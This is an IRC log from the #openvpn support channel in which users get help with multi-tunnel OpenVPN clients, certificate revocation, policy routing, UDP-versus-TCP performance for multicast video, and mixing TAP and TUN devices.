23:51 < Skapare> I have seen quite a few setups like that which people ask about in google searchs
23:51 < Skapare> what I am trying to do is have ONE client connect to server1 AND server2 at the same time, where server1 is far away from server2
23:52 < Skapare> for example server1 has LAN 172.16.0.0/16 and server2 has LAN 172.17.0.0/16
23:52 < Skapare> just trying to be able to reache both LANs at the same time (they are not connected to each other)
23:53 < Skapare> does that make sense?
23:53 < Skapare> [LAN1] <--tunnel1--> [client] <--tunnel2-->[LAN2}
23:54 < Skapare> the LANs to be connected to will always have different IP addresses
23:59 < Skapare> strace shows openvpn is using routes from one tunnel on the other tunnel, and the routes fail because of wrong IP addresses
23:59 < Skapare> so either multiple tunnels is not supported, or it's broken
--- Day changed Sun Sep 22 2013
00:03 < Skapare> it did this ... execve("/sbin/ip", ["/sbin/ip", "route", "add", "10.3.1.0/24", "via", "10.2.4.22", "metric", "1"], [/* 34 vars */]) = 0 ... which is a route for the first tunnel, but only set up the 2nd tunnel
00:19 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
00:22 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
00:29 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 256 seconds]
00:30 -!- JAVACODER [~JAVACODER@5.238.86.123] has joined #openvpn
00:33 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
00:34 < toothe> Where can I download the OpenVPN client? I seem to get "odd" clients when I google for them
00:34 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
00:36 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:39 < mist__> Skapare: so push another for server2?
00:41 < Skapare> mist__: I don't know what you mean by "push another"
00:43 < Skapare> the peer cannot do what I need done, so that's not making sense to me (so maybe I misunderstand what this means)
00:44 < mist__> see "advanced configuration" under vpn -< ovpn
00:49 < Skapare> which documentation is that in?  I don't see "advanced configuration" in the man page ... google doesn't find much like that on the web site (what it did find were unrelated questions on the forum)
00:49 < Skapare> I don't know what the expression "vpn -< ovpn" exactly means ... I guess "ovpn" means "openvpn"
00:51 < Skapare> toothe: do you want source code, or binaries?  If binaries, what is you OS?
00:51 < Skapare> your OS
00:53 < toothe> Linux
00:53 < toothe> I got the command-line client working on Windows, but the GUI clients don't have configuration options, so it seems
00:53 < toothe> to specify the key and all that.
00:53 < toothe> pardon if my terminology is off
00:56 < Skapare> I think you are expecting a GUI client to take care of everything for you like most GUI programs do, such as build keys, ask questions it needs you info one, etc
00:57 < Skapare> the key the client needs to use needs to be signed with the CA the server is using ... unless you set this up with a shared static key (BTDT, but moving away from it)
00:58 < Skapare> which distro of Linux?
00:58 < toothe> correct, that's what I did.
00:59 < Skapare> maybe the distro has OpenVPN in its package repository ... most of them do
00:59 < toothe> so, I setup the client and server, and both can ping each other. My issue is that I want to install this on a few client machines with very very non-technical people
00:59 < Skapare> ping through the tunnel IPs?
00:59 < toothe> I'd rather they not have to type ni a long command to get everything up and running. Is there a GUI client I can have them execute?
01:00 < Skapare> I know of no GUI client ... probably is one but I would never look for it since I prefer command lines and scripts
01:00 < toothe> let me show you what I have installed.
01:00 < Skapare> make a shell script to do the long/many commands
01:00 < Skapare> then give out the shell script to those who you need to otherways tell what to do
01:01 < toothe> http://puu.sh/4xdKq.png
01:02 < Skapare> I think people would prefer something more automatic ... at least after the first time
01:03 < toothe> oh, there you go. I got it wrking. I just had to make some changes.
01:03 < toothe> no, I'm fine with *ME* playing with command-line interface stuff
01:04 < toothe> But some of these people have trouble with "basic" things.
01:04 < Skapare> programs should save the access credentials and other config things ... then once per reboot ask for a credential that proves them (password) and then allow the tunnel access if thye proved right
01:04 < Skapare> yeah, I know about "some of these people" ... lots of them
01:04 < toothe> yah, they'renot techies and there's nothing wrong with that. But I jus figured it out.
01:04 < Skapare> give them a script to run ... give them the file ... tell them where to store it ... tell them how to run it
01:04 < toothe> I was using a .config file, whereas openvpn was looking for a .ovpn file
01:05 < toothe> yah.....so that doesn't fly.
01:05 < Skapare> those people are most likely using Windows?
01:05 < toothe> Yes and only Windows. This is for a home building company.
01:06 < Skapare> then you need to find/buy/develop some "normal Windows package" that takes care of everything for people like that
01:06 < toothe> no, this client works.
01:06 < toothe> I got it working, awesome.
01:07 < Skapare> OK, good
01:07 < toothe> its just slightly less user-friendly to CONFIGURE than I expected. But that's fine.
01:07 < Skapare> which client is that in case I might someday need to use it?
01:07 < Skapare> configuring is a very hard part of VPNs by all packages ... so much stuff to set up just right
01:08 < Skapare> I have Windows users (but they are also techies, so they can manually configure)
01:10 < Skapare> so what GUI Windows program is that?  openvpn itself? or something else?
01:10  * Skapare has no Windows to try stuff on
01:12 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
01:13 < mist__> oh sorry i'm in the wrong channel
01:13 < mist__> i thouught i was in #pfsense
01:23 < mist__> you still need to push the route Skapare , just google "push route openvpn"
01:24 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
01:24 < Skapare> if I use one tunnel, it works ... both ends know their routes and it works fine
01:25 < Skapare> when I do two tunnels, it fails ... what more needs to be pushed?
01:25 < mist__> you're running a nix machine?
01:25 < Skapare> I know the routes need to be right, but I am doing the routes right
01:25 < Skapare> yes
01:25 < mist__> netstat -r
01:25 < mist__> or -rn i forget
01:26 < Skapare> on the server or the client?
01:26 < mist__> on the client
01:28 < Skapare> no routes are there because openvpn won't run when I give it two tunnels
01:28 < Skapare> do you want it for a single?
01:28 < Skapare> I have the correct routes in the config on each end ... they get loaded correctly when I start one tunnel
01:28 < mist__> nah. When u start up the first tunnel you do openvpn -c /dir/srv1.conf
01:28 < mist__> i assume?
01:29 < Skapare> yes
01:29 < mist__> and then you run openvpn -c /dir/srv2.conf
01:29 < mist__> what happens
01:29 < Skapare> more elaborate naming, but like that
01:29 < Skapare> I run them together
01:29 < Skapare> openvpn -c /dir/srv1.conf -c /dir/srv2.conf
01:29 < mist__> i'm not sure thats possible
01:30 < Skapare> people have said it is
01:30 < mist__> whatif you do it the way i said?
01:30 < Skapare> I'd probably have to make more init scripts to do it
01:31 < Skapare> so basically I have to go back to my original plan of running each client separate?
01:31 < mist__> in the dist i've used openvpn starts tunnels for every .conf file in /etc/openvpn/
01:32 < Skapare> when I said in this channel a couple days ago that I was going to run multiple openvpn processes, they said I should re-read the man page ... which of course never actually says how to do the things I want to do
01:32 < mist__> i'm not sure it works. lets say it does. Have you different ports for each config?
01:33 < Skapare> this is the client side ... should not need a listen port ... I thought that was for servers
01:34 < Skapare> clients use random ports even if only one is started
01:34 < mist__> yeah ur right
01:34 < mist__> hmmm.... what about multiple remote entries in 1 config?
01:35 < Skapare> but one openvpn process on the server can handle multiple tunnels from many clients?
01:35 < mist__> its server is server =)
01:35 < Skapare> does it fork the process for each client (I'm not seeing that happen) or use threads?
01:35 < mist__> not sure of the inner workings of openvpn tbh. I'm more of a ipsec kinda guy
01:36 < Skapare> I will be starting only one server process on each server instance
01:36 < mist__> i meant multiple remote entries in the client config
01:37 < Skapare> I don't know how to do multiple remotes in a client config due to ambiguities in how various config statements work
01:37 < Skapare> there is no means to identify which tunnel a command applies to
01:38 < Skapare> so that's how I figured I needed to provide separate configs
01:38 < Skapare> and I saw something online where that was being done
01:38 < mist__> i can't find anything documenting a single process loading multiple configs. the client needs multiple instances of the process
01:38 < Skapare> has no one ever done this before ... one client connecting to 2 or more servers at the same time?
01:39 < Skapare> OK, so I will go back to plan A and do multiple client processes
01:39 < mist__> also i don't see why you would need to change your init script. as long as the default openvpn process is started it loads all configs in the openvpn directory
01:40 < Skapare> even if they are client configs?
01:40 < mist__> yeah
01:40 < Skapare> ok
01:40 < Skapare> how do I make it restart just ONE tunnel?
01:40 < mist__> kill the process of the specific tunnel? ^^
01:40 < Skapare> "service openvpn restart" would restart them all
01:41 < mist__> also if your dist doesn't have autostart of .conf just make one. for conf in /etc/openvpn/*.conf; do openvpn --config $conf --daemon; done
01:42 < mist__> oh and you would need to start openvpn with something like openvpn -c /srv.conf --daemon i guess
01:42 < Skapare> the client machine is actually remote ... from me ... so I'd be connecting through a tunnel to it ... and don't want to cut myself off if I need to restart stuff
01:43 < Skapare> my dist for this project is CentOS ... and it's init script does do the "start all .conf files" thing ... but I read somewhere this is for servers only, not clients
01:43 < mist__> pretty sure it does it for clients aswell
01:44 < Skapare> when I was playing with static keys, I used it to start multiple servers
01:44 < Skapare> that had separate ports
01:44 < Skapare> now we decided we want to use the PKI thing so we cal also support developers remote access
01:44 -!- master_of_master [~master_of@p4FD7B498.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
01:45 < Skapare> the servers are VPC gateways in AWS ... I don't know if you are familiar with details in AWS
01:45 < mist__> i am not
01:46 < Skapare> the clients are machines at company HQ that cannot be reached directly, but can get to the internet (and thus to the servers) via the corporate firewall
01:47 < mist__> its very strange. You're saying that the server initiates the connections. sounds fishy to me
01:47 < Skapare> well maybe you could try out AWS and fix their broken IPsec stuff ... I would have tried but I don't have the IPsec resources anymore to mess with it (I was the "IPsec guy" in my previous job)
01:48 < Skapare> no ... the server does not ... the server and client roles are reversed because of the limitations on which can make connections
01:48 < Skapare> machines at the company LAN cannot be reached ... so they cannot be servers
01:48 -!- master_of_master [~master_of@p4FF24F22.dip0.t-ipconnect.de] has joined #openvpn
01:49 < mist__> why doesn't the ipsec work? ^^
01:49 < Skapare> instances in AWS are too untrustable to start tunnels, so they cannot be clients ... but they do have external IP addresses, so they can be servers
01:49 < Skapare> we're using IPsec with hardware routers from Cisco connected to the interfaces AWS provides, and the tunnels keep dropping every couple hours
01:50 < Skapare> and the bandwidth is bad
01:50 < Skapare> I set up the first openvpn tunnel between HQ and AWS and got 30 times faster
01:50 < mist__> geez
01:51 < mist__> go complain to amazon =)
01:51 < Skapare> and it didn't drop on its own
01:51 < Skapare> we have ... they can't figure it out
01:51 < Skapare> they say it's our network (maybe it is)
01:51 < Skapare> me personally, I think it is the Cisco 5520 routers we are using
01:52 < mist__> afaik they should be able to handle atleast 100mbps
01:52 < mist__> ipsec encrypted
01:52 < Skapare> I'd think ... but even for remote access from home to company LAN, via another 5520 ... some problems
01:52 < Skapare> same
01:53 < mist__> bah
01:53 < mist__> i'm afraid my time is up. gotta get to bed, its 9am and i've been up since 7am. yesterday
01:53 < Skapare> I think the CPU in those routers really isn't up to doing encryption for the bandwidth they can otherwise do
01:53 < Skapare> goodnight ... thanks
01:54 < Skapare> 9am ... Europe?
01:54 < mist__> aye
01:54 < mist__> sweden to be specific
01:54 < Skapare> then you know what my nickname means :)
01:54 < mist__> indeed i do =)
01:54 < mist__> go Skapa some working configs now ;)
01:55 < Skapare> ok
01:55 < mist__> nn m8. I'll be on in 8-9 hours again prolly heh
01:55 < Skapare> me too
01:55 < Skapare> 3am here
01:55 < Skapare> my bedtime was an hour ago :)
01:55 < mist__> my bedtime was.... 12 hours ago lol
01:56 < mist__> but when the shit hits the fan someone needs to clean up the mess
01:56 < toothe> Lets say there's a client that I no longer want connected to my network -- How do I "cut them off"? Can I do that via certificates?
01:56 < Skapare> god natt och tack
01:56 < mist__> toothe: 1 word: CRL
01:56 < toothe> meaning, make their cert invalid
01:56 < mist__> gnite!
01:57 < toothe> awesome, thanks :-)
01:57 < Skapare> CRL ... or cdd-exclusive
01:57 < Skapare> or is that ccd-exclusive
01:58 < Skapare> different ways to do thing
02:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:03 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
03:06 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
03:11 -!- novaflash is now known as novaflash_away
03:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:12 -!- trumee [~parul@93.186.147.20] has quit [Ping timeout: 260 seconds]
03:13 -!- trumee [~parul@93.186.147.20] has joined #openvpn
03:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:18 -!- novaflash_away is now known as novaflash
03:20 < kisom> Skapare: I prefer ccd.
03:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:00 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
04:03 -!- JSharpe__ [~JSharpe@31.205.63.22] has quit [Ping timeout: 248 seconds]
04:36 -!- EugeneKay [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
04:37 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
04:46 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
05:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:58 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-frikbcswdtkerkrq] has quit [Ping timeout: 248 seconds]
05:59 -!- drellok [~Michael@141.101.26.214] has joined #openvpn
06:00 < drellok> hi guys.. so I know I can use route statement to add static routes to specific ip addresses or networks... but how can I make traffic on specific outgoing dest port go thourgh VPN?
06:02 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
06:04 < jzaw> drellok, /me not a routing guru
06:04 < jzaw> but ive done ip based filtering and policy routing
06:04 < jzaw> pls look at policy routing and routing tables
06:05 < jzaw> you should be able to iptables MARK and CONNMARK to send stuff down particular routes
06:05 < jzaw> based on port
06:05 -!- Devastator [~devas@177.18.197.4] has joined #openvpn
06:05 < drellok> oh yea ty jzaw
06:05 < drellok> but
06:05 < drellok> I forgot to say
06:05 < drellok> my client is running Vista :D
06:06 < jzaw> the routing is done at the router .. to use a tautology
06:06 < jzaw> for any number of lan clients
06:06 < drellok> well.. my vpn server is outside lan
06:06 < jzaw> k but you must have a router?
06:06 < drellok> but I see ur point.. I need to setup routing on a LAN router instead right?
06:07 < jzaw> sure
06:07 < jzaw> or use vlans on a switch maybe
06:07 < drellok> well... then I guess it is time to flash it with dd-wrt or smth.. because there is no such an option currently inside its control panel
06:07 < jzaw> remember terms like LAN and WAN are ambiguous
06:08  * jzaw recommends openwrt :)
06:08 < jzaw> i used dd-wrt for a while but much prefer openwrt
06:09 < drellok> I only used dd-wrt.. could u plz tell me any benefits of openwrt that make switch?
06:10 < jzaw> tbh i cant remember was a couple of years back
06:10 < jzaw> openwrt is very much linux like in the terminal which i liked
06:11 < jzaw> v easy to pickup
06:11 < drellok> mhm.. ok.. ty anyways.. lemme check if my device is compatible with either dd-wrt or openwrt
06:11 < jzaw> and can play on any number of cheap devices ie tp-link wr740n ... £10
06:12 < jzaw> but also on better kit say £60 wrn4300 etc .. i run it on an alix 2d3 amongst other things
06:12 < jzaw> and its pretty awesome on that performance wise
06:12 < jzaw> openvpn setup is EXACTLY like say debian ... as are the ip utils and iptables etc
06:13 < drellok> ok 1 more question
06:13 < drellok> on openwrt compatibility page there is vlan config column.. it says No for my device
06:13 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
06:13 < jzaw> btw #openwrt <- great channel
06:14 < drellok> ty :D
06:22 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
06:22 < barhom> I know that when openvpn sends TCP over an openvpn UDP connection it has retransmission protocol to ensure all TCP packets get there. But what about UDP over UDP? DOes it resend them as well?
06:27 -!- drellok [~Michael@141.101.26.214] has quit [Quit: Leaving]
06:33 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
06:35 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
06:39 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Read error: Connection reset by peer]
06:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:40 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
06:40 < jzaw> barhom, udp differs from tcp in that respect
06:40 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 270 seconds]
06:40 < jzaw> udp doesnt guarantee arrival
06:41 < barhom> We know that jzaw, but it might have been that openvpn has built in a mechanism for the guarantee
06:41 < jzaw> and no way to re order out of order pkts etc
06:41 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:41 < jzaw> nope
06:41 < jzaw> the tcp protocol youre tunnelling over upd has its own
06:42 < jzaw> i found sip over a udp tunnel not too nice (at least from the client's location)
06:42 < barhom> Im sending some IP multicast video over openvpn thats showing up 99% correct, it isn't really a problem but I would like for it to be 100% correct
06:42 < jzaw> so i openvpn over tcp (rather than udp) and that works much better for me
06:42 < barhom> over 400-500mbits at peak actually
06:43 < jzaw> is that last 1% critical for the vid?
06:43 < barhom> it isn't, but sometimes you get pixelation
06:43 < jzaw> passing and intermittent ?
06:43 < barhom> it isn't enough to be problematic though
06:43 < barhom> if you mean if it happens randomly , yes
06:43 < jzaw> well i think you just answered your own question ^^^ :)
06:44 < jzaw> try ovpn over tcp
06:44 < jzaw> but that has its own issues
06:44 < barhom> problem is with that link over TCP I get max 50mbits
06:44 < barhom> I need to send 400-500
06:44 < jzaw> tcp over tcp can get into a race condition where you can reduce your passage drastically
06:44 < jzaw> ah i see
06:44 < barhom> I can run several TCP connections to solve this
06:44 < jzaw> youve tried tcp tunnels?
06:44 < barhom> but it owuldnt work for openvpn ofc
06:45 < barhom> yeh I have and thats what Im going to code next
06:45 < barhom> its going to be a IGMP sniffer on one end
06:45 < jzaw> id be surprised if you got drastically different speeds udp vs tcp ?
06:45 < barhom> so when you get a multicast JOIN I automatically setup a TCP tunnel for that particular mast address
06:45 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
06:45 < barhom> and mast leave would kill that connection
06:45 < barhom> mcast*
06:46 < barhom> the difference between udp and tcp in my case is like day and night, 50mbit vs 800mbit total throughput
06:46 < lupine> you could have one tcp tunnel and one udp, and send down one or the other based on the protocol
06:46 < lupine> that'd be hilarious
06:46 < barhom> what do you mean?
06:46 < barhom> ah, I get it..
06:47 < barhom> you mean routing depending on whats being sent?
06:47 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
06:47 < barhom> so it goes over tcp or udp?
06:47 < lupine> pretty sure linux would let you route like that
06:47 < lupine> aye
06:47 < barhom> yeh, too many streams in my case
06:47 < barhom> I have about 300multicast addresses being sent from spain->sweden
06:47 < lupine> doing it at line rate probably wouldn't be impossible
06:47 < barhom> Im skipping openvpn encryption even now
06:47 < barhom> can't take the overhead
06:48 < lupine> well, that's for you to decide, I guess. not sure i'd be able to work out the performance hit from it so far
06:48 < barhom> Ill probably do like I said at some point where I skip openvpn and make some intermediate IGMP listener to send the multicasts over reliably over TCP with 1 tcp stream per multicast address
06:49 < barhom> my limitation in this case would be that I would only be able to send 1 port of a multicast address for each address
06:49 < lupine> the implementation on linux would seem to need fwmark, I guess
06:50 < barhom> I actually used to send all video channels over TCP before, but it became problematic when I had to send *all* channels at *all* times even though nobody was watching
06:51 < barhom> seems like such a waste of bandwidth when you run 500mbits at night when nobody is watching any of the 200channels you are sending
06:51 < lupine> well, as long as it's free
06:51 < barhom> yeh, but it also involves lots of processes that you had to take care of
06:52 < barhom> nothing was ever dynamic, and then I grew the # of channels that needed to be available
06:52 < barhom> so now there's >1gbit of video "available" whilst 500mbit at peak
06:52 < barhom> because of it being dynamic
06:58 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
07:00 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
07:03 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Client Quit]
07:10 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
07:12 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Client Quit]
07:13 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
07:31 -!- JackWinter [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
07:32 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
07:49 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
07:49 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
07:49 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
07:50 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
07:50 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
07:53 -!- p3rror [~mezgani@41.249.150.211] has joined #openvpn
07:55 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-nquaprwdszicbwui] has joined #openvpn
07:56 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
08:01 -!- JAVACODER [~JAVACODER@5.238.86.123] has left #openvpn ["JAVACODER"]
08:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:17 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
08:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:20 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
08:39 -!- p3rror [~mezgani@41.249.150.211] has quit [Ping timeout: 245 seconds]
08:39 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:41 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
08:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:58 -!- [ilin] [~ilin@unaffiliated/ilin] has left #openvpn []
09:01 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
09:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
09:20 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:23 -!- Devastator [~devas@177.18.197.4] has quit [Changing host]
09:23 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:26 -!- p3rror [~mezgani@41.249.150.211] has joined #openvpn
09:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:42 -!- Sandfly [~ma1com10t@host-92-20-1-117.as13285.net] has joined #openvpn
09:43 < Sandfly> !welcome
09:43 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:43 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:43 < Sandfly> !goal
09:43 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:45 < Sandfly> Hi - I would like to get some help on the possible ways I can combine TAP and TUN devices on a server .. if that is even possible .. thanks
09:46 < EugeneKay> !tunortap
09:46 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against
09:46 <@vpnHelper> you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
09:46 < EugeneKay> !xy
09:46 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
09:47 < Sandfly> Can i use TAP and TUN on one server at the same time for diferent clients ?
09:50 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
09:51 < EugeneKay> Sure, via different openvpn instances.
09:52 < Sandfly> hi EugeneKay
09:53 < Sandfly> i have got quite a long way into this setup but it just does not seem to want to work
09:53 < Sandfly> i am not trying to access LANS behind clients at this stage
09:54 < Sandfly> all the TAP clients work using server-bridge mode and the NIC is bridged to all the required TAP devices
09:54 < Sandfly> but the TUN clients only connect traffic will not flow
09:56 < Sandfly> is there any help files for how the TUN/TAP can be used in mixed environments ?
09:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:57 -!- mode/#openvpn [+o dazo_afk] by ChanServ
09:57 -!- dazo_afk is now known as dazo
09:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:59 < EugeneKay> Why are you mixing them
09:59 < EugeneKay> Wtf are you trying to do
10:01 < Sandfly> I have a bridged network setup where all the clients are on the virtual LAN .. but i want one client to tunnel so that i can filter the traffic
10:02 < EugeneKay> !whybridge
10:02 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
10:02 < Sandfly> all i want to know is if it is actually possible to use a bridged network all using TAP (which all works perfectly) and then add one TUN client
10:04 < Sandfly> ok .. that explains it: TUN drawbacks - Cannot be used in bridges
10:05 < EugeneKay> You can route to a bridged network just fine
10:05 < EugeneKay> But bridging to begin with is silly
10:06 < Sandfly> The bridge is required for 90% of my clients but i would like one to be routed
10:06 < EugeneKay> "required"
10:06 < Sandfly> so i can share resources but not windows network
10:07 < EugeneKay> !wins
10:07 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
10:07 < Sandfly> 90% of my clients are windows and i want them on the same subnet - there is one i want on a separate subnet and so route it not bridge it
10:07 < Sandfly> yes - i have sama working thanks
10:08 < Sandfly> but i think it cannot be done with my current resources
10:08 < EugeneKay> "resources" means nothing to me in this context
10:09 < Sandfly> sorry .. i have one server with one NIC (i could add a second but don't believe that is suitable) i have a bridged subnet that all clients participate in .. i have one client i simply want to connect to server but as tun not tap
10:10 < EugeneKay> You're missing the point
10:10 < EugeneKay> There's nothing you're saying that requires bridging. You just seem to think it's the right solution
10:11 < Sandfly> but from the page https://community.openvpn.net/openvpn/wiki/BridgingAndRouting (you posted) it says TUN Drawback: Cannot be used in bridges --- that seems to answer my question quite conclusively
10:11 < EugeneKay> I know that routing "isn't working', but that's more because you don't have a clue how to set this up properly to begin with
10:11 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
10:11 < EugeneKay> Per the /topic, it's probably your firewall
10:11 < EugeneKay> Who cares? Bridges suck.
10:11 < Sandfly> no firewall
10:18 -!- Sandfly [~ma1com10t@host-92-20-1-117.as13285.net] has left #openvpn []
10:21 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
10:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
10:22 <@krzee> i dunno why, but people bridging comes in waves
10:22 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
10:22 <@krzee> like for months everyone is doing it right
10:23 <@krzee> then out of nowhere the bridgers come in groups
10:23 <@krzee> for like a week
10:23 <@krzee> maybe some new lamesauce walkthrough made it to the top of google?
10:24 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
10:26 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
10:32 < EugeneKay> The biggest offender is GRC
10:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:34 < EugeneKay> The Debian wiki entry luckily doesn't mention "bridge" anywhere
10:35 -!- Blok [~Blok@unaffiliated/blok] has joined #openvpn
10:40 <@krzee> GRC=?
10:42 < EugeneKay> Gibson Research Corporation. Only guy I've ever seen write a modern win32 app in assembly.
10:42 < EugeneKay> https://www.grc.com/vpn/vpn.htm
10:42 <@vpnHelper> Title: GRC | 's OpenVPN HOWTO Guide (at www.grc.com)
10:42 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:42 -!- mode/#openvpn [+v s7r] by ChanServ
10:47 < Blok> I have the openvpn client for the iPhone and it connects just fine to my server and everything works. However, when I want to connect from Debian with the openvpn command it looks like all went fine except I cannot reach the subnet of the server. Any ideas?
10:48 < Blok> One warning during the connection sequence for lack of server certificate verification.
10:58 < EugeneKay> !logs
10:58 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:07 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Computer has gone to sleep.]
11:08 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 250 seconds]
11:08 < Blok> EugeneKay: Client log, verb 5: http://pastebin.com/EwEVVhsV
11:11 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
